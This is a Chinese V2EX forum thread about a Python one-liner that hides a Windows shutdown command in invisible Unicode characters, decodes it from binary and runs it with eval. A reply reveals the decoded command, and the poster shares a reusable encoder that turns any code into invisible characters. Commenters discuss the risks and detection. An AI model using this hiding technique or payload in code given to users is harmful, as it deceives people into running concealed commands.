这段 Python 代码执行后居然会关机

104 天前
 e4fjui

print(eval(''.join(chr(int(x, 2)) for x in ' 󠄁󠄀󠄁󠄁󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄁󠄁󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄁󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄁󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄁󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄁'.translate(str.maketrans('󠄂󠄁󠄀', ' 10')).split())))

4956 次点击
所在节点    Python
25 条回复
ClericPy
104 天前
__import__('os').system("shutdown -s -t 60")

所以呢?
baobao1270
104 天前
标题党。
玩 Unicode 隐藏字符很有意思?
稍有安全常识的人看见 eval 就知道不对劲了。
e4fjui
104 天前
@baobao1270 其实 eval 也可以隐藏: d = lambda v: (''.join(chr(ord(c) - 4) for c in v));e = getattr;e(__builtins__, d('izep'))("print(1)")
drymonfidelia
104 天前
所以说网上复制的代码不能乱执行,jb 家的 ide 都显示不了这些隐藏字符,我平时瞧不起的 vs code 反而可以
LudwigWS
104 天前
现在 gpt 竟然能自己执行代码了,恐怖。直接解析出了内容
@ClericPy
DanielWu6
104 天前
这种问题的意义何在?
Zaden
104 天前
@DanielWu6 #6 总有不知道, 比如我
marquina
104 天前
我让大模型解释这段代码,零一万物 yi-large 和 gpt4o 直接卡住了,不知道是不是真的被搞关机了……gemini1.5flash 有回应,但没识别出潜藏的关机坑点
dyllen
104 天前
@mugdsod 怎么搞的?我不懂,有没用文章介绍的?
kenvix
104 天前
@marquina #8 都是 gvisor 沙箱怎么会关机
drymonfidelia
104 天前
@dyllen 那个空字符串里实际上编码关机代码,只是你的浏览器没显示出来
lovelylain
103 天前
@LudwigWS 去掉 eval 执行就 print 了代码,用不着 gpt 吧
superrichman
103 天前
一个二进制字符串,一个凯撒密码,好玩
noahlias
103 天前
😐 unicode 闹嘛了
yuanbz666
103 天前
@marquina #8 确实,gpt4o 直接卡住了
e4fjui
103 天前
@dyllen 自己无聊研究的,用下面这个函数可以把代码转空白字符:
def str_to_bin(s):
return ('󠄂'.join(format(ord(x), 'b') for x in s)).translate(str.maketrans(' 10', '󠄂󠄁󠄀'))
然后替换上面的就可以把任意代码转换成空白字符了,比如下面这段
exec(''.join(chr(int(x, 2)) for x in '󠄁󠄁󠄀󠄀󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄁󠄁󠄂󠄁󠄁󠄀󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄁󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄁󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄁󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄁󠄁󠄀󠄁󠄁󠄂󠄁󠄁󠄁󠄁󠄁󠄀󠄁󠄂󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄁󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄁󠄀󠄁󠄂󠄁󠄁󠄀󠄀󠄀󠄀󠄁󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄁󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄁󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄀󠄀󠄁󠄀󠄀󠄂󠄁󠄁󠄁󠄁󠄀󠄁󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄀󠄀󠄁󠄁󠄁󠄂󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄀󠄁󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄀󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄀󠄀󠄂󠄁󠄁󠄁󠄀󠄀󠄁󠄀󠄂󠄁󠄁󠄀󠄁󠄀󠄀󠄁󠄂󠄁󠄁󠄀󠄁󠄁󠄁󠄀󠄂󠄁󠄁󠄁󠄀󠄁󠄀󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄀󠄂󠄁󠄀󠄁󠄀󠄀󠄁'.translate(str.maketrans('󠄂󠄁󠄀', ' 10')).split()))
执行后会打印 99 乘法表
lasuar
103 天前
meaningless
cenbiq
103 天前
@marquina 我靠,我这 gpt4o 也是,每次要输出代码它就没了,我也在想是不是真的关机了
People11
103 天前
@cenbiq 不是卡住了,是它在输出大量不可见的代码,等就是了
conky
103 天前
GPT
这个代码片段通过将一组特殊字符转换为二进制数,再将这些二进制数转换为对应的字符,然后执行这些字符的结果。由于这种代码存在执行动态生成的字符串的风险,这种方式非常危险,可能会执行恶意代码。

为了安全起见,我会解释一下该代码的工作原理,但不会执行它。你可以自己评估代码是否安全并根据需要执行它。

代码解析过程如下:

使用 str.maketrans 方法和 translate 方法将特殊字符替换为 0 、1 和空格。
通过 split 方法将替换后的字符串拆分成一个包含二进制数的列表。
使用 chr 函数和 int 函数将每个二进制数转换为对应的 ASCII 字符。
将这些字符连接成一个字符串,然后使用 eval 执行该字符串。
为了让你能理解这个代码做了什么,我提供一个不执行 eval 的解析过程:

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/1049996

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX